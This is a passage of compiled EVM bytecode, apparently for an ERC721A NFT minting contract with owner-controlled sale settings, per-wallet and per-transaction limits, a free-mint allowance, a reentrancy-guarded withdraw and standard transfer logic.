b610fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc090614176565b60405180910390fd5b6002600954141561100f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611006906142f6565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff164760405161103d90613f3d565b60006040518083038185875af1925050503d806000811461107a576040519150601f19603f3d011682016040523d82523d6000602084013e61107f565b606091505b50509050806110c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ba90614236565b60405180910390fd5b506001600981905550565b6110e983838360405180602001604052806000815250612140565b505050565b600e5481565b60006110fe610cdd565b821061113f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611136906140b6565b60405180910390fd5b819050919050565b61114f6125cd565b73ffffffffffffffffffffffffffffffffffffffff1661116d611599565b73ffffffffffffffffffffffffffffffffffffffff1614806111e357506111926125cd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611222576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121990614176565b60405180910390fd5b80600f8190555050565b600061123782612bc7565b600001519050919050565b6000600b54905090565b600a805461125990614611565b80601f016020809104026020016040519081016040528092919081815260200182805461128590614611565b80156112d25780601f106112a7576101008083540402835291602001916112d2565b820191906000526020600020905b8154815290600101906020018083116112b557829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134290614116565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b6113cb6125cd565b73ffffffffffffffffffffffffffffffffffffffff166113e9611599565b73ffffffffffffffffffffffffffffffffffffffff16148061145f575061140e6125cd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590614176565b60405180910390fd5b6114a86000612d61565b565b6114b26125cd565b73ffffffffffffffffffffffffffffffffffffffff166114d0611599565b73ffffffffffffffffffffffffffffffffffffffff16148061154657506114f56125cd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157c90614176565b60405180910390fd5b6115966115906125cd565b82612e27565b50565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6115cb6125cd565b73ffffffffffffffffffffffffffffffffffffffff166115e9611599565b73ffffffffffffffffffffffffffffffffffffffff16148061165f575061160e6125cd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61169e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169590614176565b60405180910390fd5b80600b8190555050565b6116b06125cd565b73ffffffffffffffffffffffffffffffffffffffff166116ce611599565b73ffffffffffffffffffffffffffffffffffffffff16148061174457506116f36125cd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177a90614176565b60405180910390fd5b601160009054906101000a900460ff1615601160006101000a81548160ff021916908315150217905550565b6060600280546117be90614611565b80601f01602080910402602001604051908101604052809291908181526020018280546117ea90614611565b80156118375780601f1061180c57610100808354040283529160200191611837565b820191906000526020600020905b81548152906001019060200180831161181a57829003601f168201915b5050505050905090565b6000600b54905060006001600f546118599190614446565b836012546118679190614446565b1080156118b45750600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b90508015611c1e57601160009054906101000a900460ff1661190b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190290614016565b60405180910390fd5b60105483611917610cdd565b6119219190614446565b1115611962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195990614036565b60405180910390fd5b600c548311156119a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199e906142b6565b60405180910390fd5b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d546119f49190614527565b8310611b105781601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611a489190614527565b611a5291906144cd565b8284611a5e91906144cd565b611a689190614527565b341015611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa190614136565b60405180910390fd5b600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d5460126000828254611b049190614446565b92505081905550611c19565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611b5d9190614527565b831015611c18576000341015611ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9f90614136565b60405180910390fd5b82601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bf79190614446565b925050819055508260126000828254611c109190614446565b925050819055505b5b611e55565b601160009054906101000a900460ff16611c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6490614016565b60405180910390fd5b600e5483601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbb9190614446565b1115611cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf3906141f6565b60405180910390fd5b8183611d0891906144cd565b341015611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190614136565b60405180910390fd5b60105483611d56610cdd565b611d609190614446565b1115611da1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9890614036565b60405180910390fd5b600c54831115611de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddd906142b6565b60405180910390fd5b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4b90614076565b60405180910390fd5b5b82601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ea49190614446565b92505081905550611eb53384612e27565b505050565b600b5481565b611ec86125cd565b73ffffffffffffffffffffffffffffffffffffffff16611ee6611599565b73ffffffffffffffffffffffffffffffffffffffff161480611f5c5750611f0b6125cd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611f9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9290614176565b60405180910390fd5b80600a9080519060200190611fb192919061358e565b5050565b611fbd6125cd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561202b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612022906141b6565b60405180910390fd5b80600660006120386125cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166120e56125cd565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161212a9190613fb9565b60405180910390a35050565b6000600d54905090565b61214b848484612687565b61215784848484612e45565b612196576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218d90614256565b60405180910390fd5b50505050565b600d5481565b60606121ad826125c0565b6121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e390614196565b60405180910390fd5b60006121f6612fdc565b905060008151116122165760405180602001604052806000815250612241565b806122208461306e565b604051602001612231929190613f0e565b6040516020818303038152906040525b915050919050565b601160009054906101000a900460ff1681565b60105481565b60125481565b6122706125cd565b73ffffffffffffffffffffffffffffffffffffffff1661228e611599565b73ffffffffffffffffffffffffffffffffffffffff16148061230457506122b36125cd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612343576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233a90614176565b60405180910390fd5b80600d8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6123e96125cd565b73ffffffffffffffffffffffffffffffffffffffff16612407611599565b73ffffffffffffffffffffffffffffffffffffffff16148061247d575061242c6125cd565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6124bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b390614176565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561252c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252390614056565b60405180910390fd5b61253581612d61565b50565b60136020528060005260406000206000915090505481565b600c5481565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b600061269282612bc7565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff166126b96125cd565b73ffffffffffffffffffffffffffffffffffffffff16148061271557506126de6125cd565b73ffffffffffffffffffffffffffffffffffffffff166126fd84610b27565b73ffffffffffffffffffffffffffffffffffffffff16145b806127315750612730826000015161272b6125cd565b61234d565b5b905080612773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276a906141d6565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff16146127e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127dc90614156565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284c906140d6565b60405180910390fd5b61286285858560016131cf565b61287260008484600001516125d5565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550836003600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612b5757612ab6816125c0565b15612b565782600001516003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612bc085858560016131d5565b5050505050565b612bcf613614565b612bd8826125c0565b612c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0e90614096565b60405180910390fd5b60008290505b60008110612d20576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612d11578092505050612d5c565b50808060019003915050612c1d565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5390614316565b60405180910390fd5b919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612e418282604051806020016040528060008152506131db565b5050565b6000612e668473ffffffffffffffffffffffffffffffffffffffff166131ed565b15612fcf578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612e8f6125cd565b8786866040518563ffffffff1660e01b8152600401612eb19493929190613f6d565b602060405180830381600087803b158015612ecb57600080fd5b505af1925050508015612efc57506040513d601f19601f82011682018060405250810190612ef991906139a4565b60015b612f7f573d8060008114612f2c576040519150601f19603f3d011682016040523d82523d6000602084013e612f31565b606091505b50600081511415612f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f6e90614256565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612fd4565b600190505b949350505050565b6060600a8054612feb90614611565b80601f016020809104026020016040519081016040528092919081815260200182805461301790614611565b80156130645780601f1061303957610100808354040283529160200191613064565b820191906000526020600020905b81548152906001019060200180831161304757829003601f168201915b5050505050905090565b606060008214156130b6576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506131ca565b600082905060005b600082146130e85780806130d190614674565b915050600a826130e1919061449c565b91506130be565b60008167ffffffffffffffff811115613104576131036147aa565b5b6040519080825280601f01601f1916602001820160405280156131365781602001600182028036833780820191505090505b5090505b600085146131c35760018261314f9190614527565b9150600a8561315e91906146bd565b603061316a9190614446565b60f81b8183815181106131805761317f61477b565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856131bc919061449c565b945061313a565b8093505050505b919050565b50505050565b50505050565b6131e88383836001613210565b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415613286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327d90614276565b60405180910390fd5b60008414156132ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132c190614296565b60405180910390fd5b6132d760008683876131cf565b83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555083600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550846003600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600081905060005b8581101561357157818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4831561355c5761351c6000888488612e45565b61355b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161355290614256565b60405180910390fd5b5b818060010192505080806001019150506134a5565b50806000819055505061358760008683876131d5565b5050505050565b82805461359a90614611565b90600052602060002090601f0160209004810192826135bc5760008555613603565b82601f106135d557805160ff1916838001178555613603565b82800160010185558215613603579182015b828111156136025782518255916020019190600101906135e7565b5b509050613610919061364e565b5090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b5b8082111561366757600081600090555060010161364f565b5090565b600061367e61367984614396565b614371565b90508281526020810184848401111561369a576136996147de565b5b6136a58482856145cf565b509392505050565b60006136c06136bb846143c7565b614371565b9050828152602081018484840111156136dc576136db6147de565b5b6136e78482856145cf565b509392505050565b6000813590506136fe81614f03565b92915050565b60008135905061371381614f1a565b92915050565b60008135905061372881614f31565b92915050565b60008151905061373d81614f31565b92915050565b600082601f830112613758576137576147d9565b5b813561376884826020860161366b565b91505092915050565b600082601f830112613786576137856147d9565b5b81356137968482602086016136ad565b91505092915050565b6000813590506137ae81614f48565b92915050565b6000602082840312156137ca576137c96147e8565b5b60006137d8848285016136ef565b91505092915050565b600080604083850312156137f8576137f76147e8565b5b6000613806858286016136ef565b9250506020613817858286016136ef565b9150509250929050565b60008060006060848603121561383a576138396147e8565b5b6000613848868287016136ef565b9350506020613859868287016136ef565b925050604061386a8682870161379f565b9150509250925092565b6000806000806080858703121561388e5761388d6147e8565b5b600061389c878288016136ef565b94505060206138ad878288016136ef565b93505060406138be8782880161379f565b925050606085013567ffffffffffffffff8111156138df576138de6147e3565b5b6138eb87828801613743565b91505092959194509250565b6000806040838503121561390e5761390d6147e8565b5b600061391c858286016136ef565b925050602061392d85828601613704565b9150509250929050565b6000806040838503121561394e5761394d6147e8565b5b600061395c858286016136ef565b925050602061396d8582860161379f565b9150509250929050565b60006020828403121561398d5761398c6147e8565b5b600061399b84828501613719565b91505092915050565b6000602082840312156139ba576139b96147e8565b5b60006139c88482850161372e565b91505092915050565b6000602082840312156139e7576139e66147e8565b5b600082013567ffffffffffffffff811115613a0557613a046147e3565b5b613a1184828501613771565b91505092915050565b600060208284031215613a3057613a2f6147e8565b5b6000613a3e8482850161379f565b91505092915050565b613a508161455b565b82525050565b613a5f8161456d565b82525050565b6000613a70826143f8565b613a7a818561440e565b9350613a8a8185602086016145de565b613a93816147ed565b840191505092915050565b6000613aa982614403565b613ab3818561442a565b9350613ac38185602086016145de565b613acc816147ed565b840191505092915050565b6000613ae282614403565b613aec818561443b565b9350613afc8185602086016145de565b80840191505092915050565b6000613b1560228361442a565b9150613b20826147fe565b604082019050919050565b6000613b3860148361442a565b9150613b438261484d565b602082019050919050565b6000613b5b60078361442a565b9150613b6682614876565b602082019050919050565b6000613b7e60268361442a565b9150613b898261489f565b604082019050919050565b6000613ba1601e8361442a565b9150613bac826148ee565b602082019050919050565b6000613bc4602a8361442a565b9150613bcf82614917565b604082019050919050565b6000613be760238361442a565b9150613bf282614966565b604082019050919050565b6000613c0a60258361442a565b9150613c15826149b5565b604082019050919050565b6000613c2d60398361442a565b9150613c3882614a04565b604082019050919050565b6000613c50602b8361442a565b9150613c5b82614a53565b604082019050919050565b6000613c7360208361442a565b9150613c7e82614aa2565b602082019050919050565b6000613c9660268361442a565b9150613ca182614acb565b604082019050919050565b6000613cb960058361443b565b9150613cc482614b1a565b600582019050919050565b6000613cdc60208361442a565b9150613ce782614b43565b602082019050919050565b6000613cff602f8361442a565b9150613d0a82614b6c565b604082019050919050565b6000613d22601a8361442a565b9150613d2d82614bbb565b602082019050919050565b6000613d4560328361442a565b9150613d5082614be4565b604082019050919050565b6000613d68601e8361442a565b9150613d7382614c33565b602082019050919050565b6000613d8b60228361442a565b9150613d9682614c5c565b604082019050919050565b6000613dae60008361441f565b9150613db982614cab565b600082019050919050565b6000613dd160108361442a565b9150613ddc82614cae565b602082019050919050565b6000613df460338361442a565b9150613dff82614cd7565b604082019050919050565b6000613e1760218361442a565b9150613e2282614d26565b604082019050919050565b6000613e3a60288361442a565b9150613e4582614d75565b604082019050919050565b6000613e5d60138361442a565b9150613e6882614dc4565b602082019050919050565b6000613e80602e8361442a565b9150613e8b82614ded565b604082019050919050565b6000613ea3601f8361442a565b9150613eae82614e3c565b602082019050919050565b6000613ec6602f8361442a565b9150613ed182614e65565b604082019050919050565b6000613ee9602d8361442a565b9150613ef482614eb4565b604082019050919050565b613f08816145c5565b82525050565b6000613f1a8285613ad7565b9150613f268284613ad7565b9150613f3182613cac565b91508190509392505050565b6000613f4882613da1565b9150819050919050565b6000602082019050613f676000830184613a47565b92915050565b6000608082019050613f826000830187613a47565b613f8f6020830186613a47565b613f9c6040830185613eff565b8181036060830152613fae8184613a65565b905095945050505050565b6000602082019050613fce6000830184613a56565b92915050565b60006020820190508181036000830152613fee8184613a9e565b905092915050565b6000602082019050818103600083015261400f81613b08565b9050919050565b6000602082019050818103600083015261402f81613b2b565b9050919050565b6000602082019050818103600083015261404f81613b4e565b9050919050565b6000602082019050818103600083015261406f81613b71565b9050919050565b6000602082019050818103600083015261408f81613b94565b9050919050565b600060208201905081810360008301526140af81613bb7565b9050919050565b600060208201905081810360008301526140cf81613bda565b9050919050565b600060208201905081810360008301526140ef81613bfd565b9050919050565b6000602082019050818103600083015261410f81613c20565b9050919050565b6000602082019050818103600083015261412f81613c43565b9050919050565b6000602082019050818103600083015261414f81613c66565b9050919050565b6000602082019050818103600083015261416f81613c89565b9050919050565b6000602082019050818103600083015261418f81613ccf565b9050919050565b600060208201905081810360008301526141af81613cf2565b9050919050565b600060208201905081810360008301526141cf81613d15565b9050919050565b600060208201905081810360008301526141ef81613d38565b9050919050565b6000602082019050818103600083015261420f81613d5b565b9050919050565b6000602082019050818103600083015261422f81613d7e565b9050919050565b6000602082019050818103600083015261424f81613dc4565b9050919050565b6000602082019050818103600083015261426f81613de7565b9050919050565b6000602082019050818103600083015261428f81613e0a565b9050919050565b600060208201905081810360008301526142af81613e2d565b9050919050565b600060208201905081810360008301526142cf81613e50565b9050919050565b600060208201905081810360008301526142ef81613e73565b9050919050565b6000602082019050818103600083015261430f81613e96565b9050919050565b6000602082019050818103600083015261432f81613eb9565b9050919050565b6000602082019050818103600083015261434f81613edc565b9050919050565b600060208201905061436b6000830184613eff565b92915050565b600061437b61438c565b90506143878282614643565b919050565b6000604051905090565b600067ffffffffffffffff8211156143b1576143b06147aa565b5b6143ba826147ed565b9050602081019050919050565b600067ffffffffffffffff8211156143e2576143e16147aa565b5b6143eb826147ed565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000614451826145c5565b915061445c836145c5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614491576144906146ee565b5b828201905092915050565b60006144a7826145c5565b91506144b2836145c5565b9250826144c2576144c161471d565b5b828204905092915050565b60006144d8826145c5565b91506144e3836145c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561451c5761451b6146ee565b5b828202905092915050565b6000614532826145c5565b915061453d836145c5565b9250828210156145505761454f6146ee565b5b828203905092915050565b6000614566826145a5565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156145fc5780820151818401526020810190506145e1565b8381111561460b576000848401525b50505050565b6000600282049050600182168061462957607f821691505b6020821081141561463d5761463c61474c565b5b50919050565b61464c826147ed565b810181811067ffffffffffffffff8211171561466b5761466a6147aa565b5b80604052505050565b600061467f826145c5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156146b2576146b16146ee565b5b600182019050919050565b60006146c8826145c5565b91506146d3836145c5565b9250826146e3576146e261471d565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d696e74206973206e6f74206c69766520796574000000000000000000000000600082015250565b7f4e6f206d6f726500000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f546865206d696e74657220697320616e6f7468657220636f6e74726163740000600082015250565b7f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008201527f74656e7420746f6b656e00000000000000000000000000000000000000000000602082015250565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000602082015250565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f506c656173652073656e64207468652065786163742045544820616d6f756e74600082015250565b7f455243373231413a207472616e736665722066726f6d20696e636f727265637460008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b7f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f457863656564206d6178696d756d204e465473207065722077616c6c65740000600082015250565b7f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f5472616e73666572206661696c65642e00000000000000000000000000000000600082015250565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b7f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f455243373231413a207175616e74697479206d7573742062652067726561746560008201527f72207468616e2030000000000000000000000000000000000000000000000000602082015250565b7f4d61782070657220545820726561636865642e00000000000000000000000000600082015250565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b7f455243373231413a20756e61626c6520746f2064657465726d696e652074686560008201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000602082015250565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b614f0c8161455b565b8114614f1757600080fd5b50565b614f238161456d565b8114614f2e57600080fd5b50565b614f3a81614579565b8114614f4557600080fd5b50565b614f51816145c5565b8114614f5c57600080fd5b5056fea2646970667358221220e5dd8db4c29e7adeb6b13841bc4d008e8e81db27e2b718072510c03f8c3775e364736f6c63430008070033

